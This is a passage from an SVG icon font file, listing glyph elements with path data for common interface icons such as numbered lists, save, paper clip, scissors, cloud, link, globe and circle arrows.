<glyph unicode="&#xf0cb;" d="M 95.25-21q0-20 -13.625-31.5t-33.875-11.5q-26.5,0 -43,16.5l 14.25,22q 12.25-11.25 26.5-11.25q 7.25,0 12.625,3.625t 5.375,10.625q0,16 -26.25,14l-6.5,14q 2,2.5 8.125,10.875t 10.625,13.5t 9.25,9.625l0,0.25 q-4,0 -12.125-0.25t-12.125-0.25l0-13.25 l-26.5,0 l0,38 l 83.25,0 l0-22 l-23.75-28.75q 12.75-3 20.25-12.25t 7.5-22zM 95.75,135.75l0-39.75 l-90.5,0  q-1.5,9 -1.5,13.5q0,12.75 5.875,23.25t 14.125,17t 16.5,11.875t 14.125,10.875t 5.875,11.25q0,6.25 -3.625,9.625t-9.875,3.375q-11.5,0 -20.25-14.5l-21.25,14.75q 6,12.75 17.875,19.875t 26.375,7.125q 18.25,0 30.75-10.375t 12.5-28.125q0-12.5 -8.5-22.875t-18.75-16.125t-18.875-12.625t-8.875-13.125l 31.75,0 l0,15 l 26.25,0 zM 448,56l0-48 q0-3.25 -2.375-5.625 t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,280.75l0-24.75 l-83.75,0 l0,24.75 l 26.75,0 q0,10.25 0.125,30.5t 0.125,30.25l0,3 l-0.5,0 q-2-4.25 -12.5-13.5l-17.75,19l 34,31.75l 26.5,0 l0-101 l 27,0 zM 448,184l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375 t-2.375,5.625l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,312l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625z" data-tags="list-ol, numbered list" />
<glyph unicode="&#xf0ca;" d="M 96,32q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 96,160q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625 t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,288q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 448,184l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 448,312l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625z" data-tags="list-ul, bullets" />
<glyph unicode="&#xf0c9;" d="M 384,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 384,176l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 384,304l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="reorder, list, menu" />
<glyph unicode="&#xf0c8;" d="M 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="sign-blank, square" />
<glyph unicode="&#xf0c7;" d="M 96,0l 192,0 l0,96 l-192,0 l0-96 zM 320,0l 32,0 l0,224 q0,3.5 -2.5,9.625t-5,8.625l-70.25,70.25q-2.5,2.5 -8.5,5t-9.75,2.5l0-104 q0-10 -7-17t-17-7l-144,0 q-10,0 -17,7t-7,17l0,104 l-32,0 l0-320 l 32,0 l0,104 q0,10 7,17t 17,7l 208,0 q 10,0 17-7t 7-17l0-104 zM 224,232l0,80 q0,3.25 -2.375,5.625t-5.625,2.375 l-48,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-80 q0-3.25 2.375-5.625t 5.625-2.375l 48,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 384,224l0-232 q0-10 -7-17t-17-7l-336,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 232,0 q 10,0 22-5t 19-12l 70-70q 7-7 12-19t 5-22z" horiz-adv-x="384" data-tags="save, disk, floppy, store" />
<glyph unicode="&#xf0c6;" d="M 351,37.75q0-29.25 -19.75-49t-49-19.75q-33.75,0 -58.75,25l-194.25,194q-28.25,28.75 -28.25,67.75q0,39.75 27.5,67.5t 67.25,27.75q 39.5,0 68.25-28.25l 151.25-151.5q 2.5-2.5 2.5-5.5q0-4 -7.625-11.625t-11.625-7.625q-3.25,0 -5.75,2.5l-151.5,151.75q-19.75,19.25 -45.25,19.25q-26.5,0 -44.75-18.75t-18.25-45.25q0-26.25 19-45.25 l 194-194.25q 15.75-15.75 36.25-15.75q 16,0 26.5,10.5t 10.5,26.5q0,20.5 -15.75,36.25l-145.25,145.25q-6.5,6 -15,6q-7.25,0 -12-4.75t-4.75-12q0-8 6.25-14.75l 102.5-102.5q 2.5-2.5 2.5-5.5q0-4 -7.75-11.75t-11.75-7.75q-3,0 -5.5,2.5l-102.5,102.5q-15.75,15.25 -15.75,37.25q0,20.5 14.25,34.75t 34.75,14.25q 22,0 37.25-15.75l 145.25-145.25q 25-24.5 25-58.75 z" horiz-adv-x="352" data-tags="paper-clip, attachment" />
<glyph unicode="&#xf0c5;" d="M 424,288q 10,0 17-7t 7-17l0-304 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,72 l-136,0 q-10,0 -17,7t-7,17l0,168 q0,10 5,22t 12,19l 102,102q 7,7 19,12t 22,5l 104,0 q 10,0 17-7t 7-17l0-82 q 17,10 32,10l 104,0 zM 288,234.75l-74.75-74.75l 74.75,0 l0,74.75 zM 128,330.75l-74.75-74.75 l 74.75,0 l0,74.75 zM 177,169l 79,79l0,104 l-96,0 l0-104 q0-10 -7-17t-17-7l-104,0 l0-160 l 128,0 l0,64 q0,10 5,22t 12,19zM 416-32l0,288 l-96,0 l0-104 q0-10 -7-17t-17-7l-104,0 l0-160 l 224,0 z" data-tags="copy, duplicate, paper, files" />
<glyph unicode="&#xf0c4;" d="M 240,160q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75t-11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75zM 315,144l 126.75-99.5q 7-5 6.25-14q-1.25-8.75 -8.75-12.75l-32-16q-3.25-1.75 -7.25-1.75q-4.25,0 -7.75,2l-172.5,96.75l-27.5-16.5q-2-1 -3-1.25q 3.5-12.25 2.5-24.25q-1.75-19.25 -14-36.875t-33-30.875q-33-21 -69.25-21 q-34,0 -55.5,19.5q-22.5,21 -19.75,51.75q 1.75,19 14,36.75t 32.75,31q 33,21 69.5,21q 20.75,0 37.75-7.75q 2.25,3.25 5.5,5.5l 30.5,18.25l-30.5,18.25q-3.25,2.25 -5.5,5.5q-17-7.75 -37.75-7.75q-36.5,0 -69.5,21q-20.5,13.25 -32.75,31t-14,36.75q-1.25,14.75 3.875,28.25t 15.875,23.25q 21.25,19.75 55.5,19.75q 36.25,0 69.25-21q 20.75-13 33-30.75t 14-37 q 1-12 -2.5-24.25q 1-0.25 3-1.25l 27.5-16.5l 172.5,96.75q 3.5,2 7.75,2q 4,0 7.25-1.75l 32-16q 7.5-4 8.75-12.75q 0.75-9 -6.25-14zM 144.75,209q 11.5,10.5 5.25,27t-26.5,29.25q-23,14.75 -48,14.75q-18.5,0 -28.25-9q-11.5-10.5 -5.25-27t 26.5-29.25q 23-14.75 48-14.75q 18.5,0 28.25,9zM 123.5,22.75q 20.25,12.75 26.5,29.25t-5.25,27 q-9.75,9 -28.25,9q-25,0 -48-14.75q-20.25-12.75 -26.5-29.25t 5.25-27q 9.75-9 28.25-9q 25,0 48,14.75zM 168,176l 24-14.5l0,2.75 q0,9 8.25,14l 3.5,2l-19.75,11.75l-6.5-6.5q-0.75-0.75 -2.5-2.75t-3-3q-0.5-0.5 -1-0.875t-0.75-0.625zM 224,120l 24-8l 184,144l-32,16l-192-107.75l0-28.25 l-40-24l 2.25-2q 0.5-0.5 1.75-1.5 q 1-1 2.75-3t 2.75-3l 6.5-6.5zM 400,16l 32,16l-130,102l-44.25-34.5q-0.5-0.75 -3.25-1.75z" data-tags="cut, scissors" />
<glyph unicode="&#xf0c3;" d="M 381.75,22q 14-22.25 5.375-38.125t-35.125-15.875l-288,0 q-26.5,0 -35.125,15.875t 5.375,38.125l 125.75,198.25l0,99.75 l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-16,0 l0-99.75 zM 187,203.25l-68-107.25l 178,0 l-68,107.25l-5,7.75l0,9.25 l0,99.75 l-32,0 l0-99.75 l0-9.25 z" horiz-adv-x="416" data-tags="beaker, lab, beta, experiment, test" />
<glyph unicode="&#xf0c2;" d="M 480,96q0-39.75 -28.125-67.875t-67.875-28.125l-272,0 q-46.25,0 -79.125,32.875t-32.875,79.125q0,33 17.75,60.375t 46.75,40.875q-0.5,7 -0.5,10.75q0,53 37.5,90.5t 90.5,37.5q 39.5,0 71.625-22t 46.875-57.5q 17.5,15.5 41.5,15.5q 26.5,0 45.25-18.75t 18.75-45.25q0-18.75 -10.25-34.5q 32.25-7.5 53.25-33.625t 21-59.875z " horiz-adv-x="480" data-tags="cloud, weather" />
<glyph unicode="&#xf0c1;" d="M 364,80q0,10 -7,17l-52,52q-7,7 -17,7q-10.5,0 -18-8q 0.75-0.75 4.75-4.625t 5.375-5.375t 3.75-4.75t 3.25-6.375t 0.875-6.875q0-10 -7-17t-17-7q-3.75,0 -6.875,0.875t-6.375,3.25t-4.75,3.75t-5.375,5.375t-4.625,4.75q-8.25-7.75 -8.25-18.25q0-10 7-17l 51.5-51.75q 6.75-6.75 17-6.75q 10,0 17,6.5 l 36.75,36.5q 7,7 7,16.75zM 188.25,256.25q0,10 -7,17l-51.5,51.75q-7,7 -17,7q-9.75,0 -17-6.75l-36.75-36.5q-7-7 -7-16.75q0-10 7-17l 52-52q 6.75-6.75 17-6.75q 10.5,0 18,7.75q-0.75,0.75 -4.75,4.625t-5.375,5.375t-3.75,4.75t-3.25,6.375t-0.875,6.875q0,10 7,17t 17,7q 3.75,0 6.875-0.875t 6.375-3.25t 4.75-3.75 t 5.375-5.375t 4.625-4.75q 8.25,7.75 8.25,18.25zM 412,80q0-30 -21.25-50.75l-36.75-36.5q-20.75-20.75 -50.75-20.75q-30.25,0 -51,21.25l-51.5,51.75q-20.75,20.75 -20.75,50.75q0,30.75 22,52.25l-22,22q-21.5-22 -52-22q-30,0 -51,21l-52,52q-21,21 -21,51t 21.25,50.75l 36.75,36.5q 20.75,20.75 50.75,20.75q 30.25,0 51-21.25l 51.5-51.75 q 20.75-20.75 20.75-50.75q0-30.75 -22-52.25l 22-22q 21.5,22 52,22q 30,0 51-21l 52-52q 21-21 21-51z" horiz-adv-x="416" data-tags="link, chain, anchor" />
<glyph unicode="&#xf0c0;" d="M 148.25,160q-40.5-1.25 -66.25-32l-33.5,0 q-20.5,0 -34.5,10.125t-14,29.625q0,88.25 31,88.25q 1.5,0 10.875-5.25t 24.375-10.625t 29.75-5.375q 16.75,0 33.25,5.75q-1.25-9.25 -1.25-16.5q0-34.75 20.25-64zM 416,0.75q0-30 -18.25-47.375t-48.5-17.375l-218.5,0 q-30.25,0 -48.5,17.375t-18.25,47.375q0,13.25 0.875,25.875t 3.5,27.25t 6.625,27.125 t 10.75,24.375t 15.5,20.25t 21.375,13.375t 27.875,5q 2.5,0 10.75-5.375t 18.25-12t 26.75-12t 33.75-5.375t 33.75,5.375t 26.75,12t 18.25,12t 10.75,5.375q 15.25,0 27.875-5t 21.375-13.375t 15.5-20.25t 10.75-24.375t 6.625-27.125t 3.5-27.25t 0.875-25.875zM 160,320q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75 t 18.75-45.25zM 336,224q0-39.75 -28.125-67.875t-67.875-28.125t-67.875,28.125t-28.125,67.875t 28.125,67.875t 67.875,28.125t 67.875-28.125t 28.125-67.875zM 480,167.75q0-19.5 -14-29.625t-34.5-10.125l-33.5,0 q-25.75,30.75 -66.25,32q 20.25,29.25 20.25,64q0,7.25 -1.25,16.5q 16.5-5.75 33.25-5.75q 14.75,0 29.75,5.375t 24.375,10.625 t 10.875,5.25q 31,0 31-88.25zM 448,320q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25z" horiz-adv-x="480" data-tags="group, people, users, team, members, community" />
<glyph unicode="&#xf0b2;" d="M 320.75,248.75l-88.75-88.75l 88.75-88.75l 36,36q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-112,0 q-10.5,0 -14.75,10q-4.25,9.75 3.5,17.25l 36,36l-88.75,88.75l-88.75-88.75l 36-36q 7.75-7.5 3.5-17.25q-4.25-10 -14.75-10l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,10.5 10,14.75q 9.75,4.25 17.25-3.5l 36-36 l 88.75,88.75l-88.75,88.75l-36-36q-4.75-4.75 -11.25-4.75q-3,0 -6,1.25q-10,4.25 -10,14.75l0,112 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 q 10.5,0 14.75-10q 4.25-9.75 -3.5-17.25l-36-36l 88.75-88.75l 88.75,88.75l-36,36q-7.75,7.5 -3.5,17.25q 4.25,10 14.75,10l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-112 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.5,0 -11.25,4.75z " horiz-adv-x="384" data-tags="fullscreen, maximize, expand, enlarge" />
<glyph unicode="&#xf0b1;" d="M 160,320l 128,0 l0,32 l-128,0 l0-32 zM 448,160l0-120 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,120 l 168,0 l0-40 q0-6.5 4.75-11.25t 11.25-4.75l 80,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,40 l 168,0 zM 256,160l0-32 l-64,0 l0,32 l 64,0 zM 448,280l0-96 l-448,0 l0,96 q0,16.5 11.75,28.25t 28.25,11.75l 88,0 l0,40 q0,10 7,17 t 17,7l 144,0 q 10,0 17-7t 7-17l0-40 l 88,0 q 16.5,0 28.25-11.75t 11.75-28.25z" data-tags="briefcase, suitcase, work, portfolio" />
<glyph unicode="&#xf0b0;" d="M 350.75,310.25q 4.25-10.25 -3.5-17.5l-123.25-123.25l0-185.5 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25l0,121.5 l-123.25,123.25q-7.75,7.25 -3.5,17.5q 4.25,9.75 14.75,9.75l 320,0 q 10.5,0 14.75-9.75z" horiz-adv-x="352" data-tags="filter" />
<glyph unicode="&#xf0ae;" d="M 256,32l 160,0 l0,32 l-160,0 l0-32 zM 160,160l 256,0 l0,32 l-256,0 l0-32 zM 320,288l 96,0 l0,32 l-96,0 l0-32 zM 448,80l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,208l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75 t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,336l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="tasks, bars" />
<glyph unicode="&#xf0ad;" d="M 96,16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 257,121l-170.5-170.5q-9.25-9.25 -22.5-9.25q-13,0 -22.75,9.25l-26.5,27q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 170.25,170.25q 9.75-24.5 28.625-43.375t 43.375-28.625zM 415.5,229.75q0-9.75 -5.75-26.5q-11.75-33.5 -41.125-54.375 t-64.625-20.875q-46.25,0 -79.125,32.875t-32.875,79.125t 32.875,79.125t 79.125,32.875q 14.5,0 30.375-4.125t 26.875-11.625q 4-2.75 4-7t-4-7l-73.25-42.25l0-56 l 48.25-26.75q 1.25,0.75 19.75,12.125t 33.875,20.25t 17.625,8.875q 3.75,0 5.875-2.5t 2.125-6.25z" horiz-adv-x="416" data-tags="wrench, took, fix, preferences, settings, options" />
<glyph unicode="&#xf0ac;" d="M 192,352q 52.25,0 96.375-25.75t 69.875-69.875t 25.75-96.375t-25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75zM 260.5,221.75q-0.5-0.25 -2.375-2.375t-3.375-2.375q 0.5,0 1.125,1.25t 1.25,2.75t 0.875,1.75q 1.5,1.75 5.5,3.75q 3.5,1.5 13,3q 8.5,2 12.75-2.75 q-0.5,0.5 2.375,3.25t 3.625,3q 0.75,0.5 3.75,1.125t 3.75,1.875l 0.5,5.5q-3-0.25 -4.375,1.75t-1.625,5.25q0-0.5 -1.5-2q0,1.75 -1.125,2t-2.875-0.25t-2.25-0.25q-2.5,0.75 -3.75,1.875t-2,4.125t-1,3.75q-0.5,1.25 -2.375,2.625t-2.375,2.625q-0.25,0.5 -0.625,1.375t-0.75,1.625t-1,1.375t-1.375,0.625t-1.75-1.25t-1.875-2.5t-1.125-1.25q-0.75,0.5 -1.5,0.375t-1.125-0.25t-1.125-0.75t-1.25-0.875 q-0.75-0.5 -2.125-0.75t-2.125-0.5q 3.75,1.25 -0.25,2.75q-2.5,1 -4,0.75q 2.25,1 1.875,3t-2.125,3.5l 1.25,0 q-0.25,1 -2.125,2.125t-4.375,2.125t-3.25,1.5q-2,1.25 -8.5,2.375t-8.25,0.125q-1.25-1.5 -1.125-2.625t 1-3.5t 0.875-3.125q 0.25-1.5 -1.375-3.25t-1.625-3q0-1.75 3.5-3.875t 2.5-5.375q-0.75-2 -4-4t-4-3q-1.25-2 -0.375-4.625t 2.625-4.125 q 0.5-0.5 0.375-1t-0.875-1.125t-1.375-1t-1.625-0.875l-0.75-0.5q-2.75-1.25 -5.125,1.5t-3.375,6.5q-1.75,6.25 -4,7.5q-5.75,2 -7.25-0.25q-1.25,3.25 -10.25,6.5q-6.25,2.25 -14.5,1q 1.5,0.25 0,3.75q-1.75,3.75 -4.75,3q 0.75,1.5 1,4.375t 0.25,3.375q 0.75,3.25 3,5.75q 0.25,0.25 1.75,2.125t 2.375,3.375t 0.125,1.5q 8.75-1 12.5,2.75q 1.25,1.25 2.875,4.25t 2.625,4.25q 2.25,1.5 3.5,1.375t 3.625-1.375 t 3.625-1.25q 3.5-0.25 3.875,2.75t-1.875,5q 3-0.25 0.75,4.25q-1.25,1.75 -2,2.25q-3,1 -6.75-1.25q-2-1 0.5-2q-0.25,0.25 -2.375-2.625t-4.125-4.375t-4,1.25q-0.25,0.25 -1.375,3.375t-2.375,3.375q-2,0 -4-3.75q 0.75,2 -2.75,3.75t-6,2q 4.75,3 -2,6.75q-1.75,1 -5.125,1.25t-4.875-1q-1.25-1.75 -1.375-2.875t 1.25-2t 2.625-1.375t 2.875-1t 2.125-0.75 q 3.5-2.5 2-3.5q-0.5-0.25 -2.125-0.875t-2.875-1.125t-1.5-1q-0.75-1 0-3.5t-0.5-3.5q-1.25,1.25 -2.25,4.375t-1.75,4.125q 1.75-2.25 -6.25-1.5l-2.5,0.25q-1,0 -4-0.5t-5.125-0.25t-3.375,2q-1,2 0,5q 0.25,1 1,0.5q-1,0.75 -2.75,2.375t-2.5,2.125q-11.5-3.75 -23.5-10.25q 1.5-0.25 3,0.25q 1.25,0.5 3.25,1.625t 2.5,1.375q 8.5,3.5 10.5,1.75l 1.25,1.25q 3.5-4 5-6.25 q-1.75,1 -7.5,0.25q-5-1.5 -5.5-3q 1.75-3 1.25-4.5q-1,0.75 -2.875,2.5t-3.625,2.75t-3.75,1.25q-4,0 -5.5-0.25q-36.5-20 -58.75-55.5q 1.75-1.75 3-2q 1-0.25 1.25-2.25t 0.625-2.75t 2.875,0.75q 2.25-2 0.75-4.75q 0.25,0.25 11-6.75q 4.75-4.25 5.25-5.25q 0.75-2.75 -2.5-4.5q-0.25,0.5 -2.25,2.25t-2.25,1q-0.75-1.25 0.125-4.625t 2.625-3.125q-1.75,0 -2.375-4t-0.625-8.875 t-0.25-5.875l 0.5-0.25q-0.75-3 1.375-8.625t 5.375-4.875q-3.25-0.75 5-10.75q 1.5-2 2-2.25q 0.75-0.5 3-1.875t 3.75-2.5t 2.5-2.625q 1-1.25 2.5-5.625t 3.5-5.875q-0.5-1.5 2.375-5t 2.625-5.75q-0.25,0 -0.625-0.25t-0.625-0.25q 0.75-1.75 3.875-3.5t 3.875-3.25q 0.25-0.75 0.5-2.5t 0.75-2.75t 2-0.5q 0.5,5 -6,15.5q-3.75,6.25 -4.25,7.25q-0.75,1.25 -1.375,3.875 t-1.125,3.625q 0.5,0 1.5-0.375t 2.125-0.875t 1.875-1t 0.5-0.75q-0.75-1.75 0.5-4.375t 3-4.625t 4.25-4.75t 3-3.25q 1.5-1.5 3.5-4.875t0-3.375q 2.25,0 5-2.5t 4.25-5q 1.25-2 2-6.5t 1.25-6q 0.5-1.75 2.125-3.375t 3.125-2.375l 4-2t 3.25-1.75q 1.25-0.5 4.625-2.625t 5.375-2.875q 2.5-1 4-1t 3.625,0.625t 3.375,0.875q 3.75,0.5 7.25-3.75t 5.25-5.25 q 9-4.75 13.75-2.75q-0.5-0.25 0.125-1.875t 2-3.875t 2.25-3.625t 1.375-2.125q 1.25-1.5 4.5-3.75t 4.5-3.75q 1.5,1 1.75,2.25q-0.75-2 1.75-5t 4.5-2.5q 3.5,0.75 3.5,8q-7.75-3.75 -12.25,4.5q0,0.25 -0.625,1.375t-1,2.125t-0.625,2.125t0,1.875t 1.25,0.75q 2.25,0 2.5,0.875t-0.5,3.125t-1,3.25q-0.25,2 -2.75,5t-3,3.75q-1.25-2.25 -4-2t-4,2.25q0-0.25 -0.375-1.375t-0.375-1.625 q-3.25,0 -3.75,0.25q 0.25,0.75 0.625,4.375t 0.875,5.625q 0.25,1 1.375,3t 1.875,3.625t 1,3.125t-1.125,2.375t-4.375,0.625q-4.75-0.25 -6.5-5q-0.25-0.75 -0.75-2.625t-1.25-2.875t-2.25-1.75q-1.75-0.75 -6-0.5t-6,1.25q-3.25,2 -5.625,7.25t-2.375,9.25q0,2.5 0.625,6.625t 0.75,6.25t-1.375,6.125q 0.75,0.5 2.25,2.375t 2.5,2.625q 0.5,0.25 1.125,0.375t 1.125,0t 1,0.375t 0.75,1.5q-0.25,0.25 -1,0.75 q-0.75,0.75 -1,0.75q 1.75-0.75 7.125,0.375t 6.875-0.375q 3.75-2.75 5.5,0.5q0,0.25 -0.625,2.375t-0.125,3.375q 1.25-6.75 7.25-2.25q 0.75-0.75 3.875-1.25t 4.375-1.25q 0.75-0.5 1.75-1.375t 1.375-1.125t 1.25,0.125t 2.125,1.625q 2.5-3.5 3-6q 2.75-10 4.75-11q 1.75-0.75 2.75-0.5t 1.125,2.375t0,3.5t-0.375,3.125l-0.25,2l0,4.5 l-0.25,2q-3.75,0.75 -4.625,3t 0.375,4.625t 3.75,4.625q 0.25,0.25 2,0.875 t 3.875,1.625t 3.125,2q 5.25,4.75 3.75,8.75q 1.75,0 2.75,2.25q-0.25,0 -1.25,0.75t-1.875,1.25t-1.125,0.5q 2.25,1.25 0.5,4q 1.25,0.75 1.875,2.75t 1.875,2.5q 2.25-3 5.25-0.5q 1.75,2 0.25,4q 1.25,1.75 5.125,2.625t 4.625,2.375q 1.75-0.5 2,0.5t 0.25,3t 0.75,3q 1,1.25 3.75,2.25t 3.25,1.25l 4.25,2.75q 0.75,1 0,1q 4.5-0.5 7.75,2.75q 2.5,2.75 -1.5,5q 0.75,1.5 -0.75,2.375t-3.75,1.375q 0.75,0.25 2.875,0.125t 2.625,0.375 q 3.75,2.5 -1.75,4q-4.25,1.25 -10.75-3zM 219.75,2.5q 51.5,9 87.75,47.25q-0.75,0.75 -3.125,1.125t-3.125,0.875q-4.5,1.75 -6,2q 0.25,1.75 -0.625,3.25t-2,2.25t-3.125,2t-2.75,1.75q-0.5,0.5 -1.75,1.5t-1.75,1.375t-1.875,1.125t-2.125,0.5t-2.5-0.25l-0.75-0.25q-0.75-0.25 -1.375-0.625t-1.375-0.75t-1-0.75t0-0.625q-5.25,4.25 -9,5.5q-1.25,0.25 -2.75,1.375t-2.625,1.75t-2.5,0.375t-2.875-1.75 q-1.25-1.25 -1.5-3.75t-0.5-3.25q-1.75,1.25 0,4.375t 0.5,4.625q-0.75,1.5 -2.625,1.125t-3-1.125t-2.875-2.125t-2.25-1.625t-2.125-1.375t-2.125-1.875q-0.75-1 -1.5-3t-1.25-2.75q-0.5,1 -2.875,1.625t-2.375,1.375q 0.5-2.5 1-8.75t 1.25-9.5q 1.75-7.75 -3-12q-6.75-6.25 -7.25-10q-1-5.5 3-6.5q0-1.75 -2-5.125t-1.75-5.375q0-1.5 0.5-4z" horiz-adv-x="384" data-tags="globe, earth, universal, language, localization" />
<glyph unicode="&#xf0ab;" d="M 321,159.75q0,6.75 -4.5,11.25l-22.75,22.75q-4.5,4.5 -11.25,4.5t-11.25-4.5l-47.25-47.25l0,125.5 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-125.5 l-47.25,47.25q-4.75,4.75 -11.25,4.75t-11.25-4.75l-22.75-22.75q-4.5-4.5 -4.5-11.25t 4.5-11.25l 90.5-90.5l 22.75-22.75q 4.5-4.5 11.25-4.5t 11.25,4.5l 22.75,22.75l 90.5,90.5q 4.5,4.5 4.5,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="circle-arrow-down, download, arrow, bottom" />
<glyph unicode="&#xf0aa;" d="M 321,160.25q0,6.75 -4.5,11.25l-90.5,90.5l-22.75,22.75q-4.5,4.5 -11.25,4.5t-11.25-4.5l-22.75-22.75l-90.5-90.5q-4.5-4.5 -4.5-11.25t 4.5-11.25l 22.75-22.75q 4.5-4.5 11.25-4.5t 11.25,4.5l 47.25,47.25l0-125.5 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,125.5 l 47.25-47.25q 4.75-4.75 11.25-4.75t 11.25,4.75l 22.75,22.75q 4.5,4.5 4.5,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="circle-arrow-up, upload, arrow, top" />
<glyph unicode="&#xf0a9;" d="M 321.25,160q0,6.75 -4.5,11.25l-22.75,22.75l-90.5,90.5q-4.5,4.5 -11.25,4.5t-11.25-4.5l-22.75-22.75q-4.5-4.5 -4.5-11.25t 4.5-11.25l 47.25-47.25l-125.5,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 125.5,0 l-47.25-47.25q-4.75-4.75 -4.75-11.25t 4.75-11.25l 22.75-22.75q 4.5-4.5 11.25-4.5t 11.25,4.5l 90.5,90.5l 22.75,22.75q 4.5,4.5 4.5,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="circle-arrow-right, right, arrow, next" />
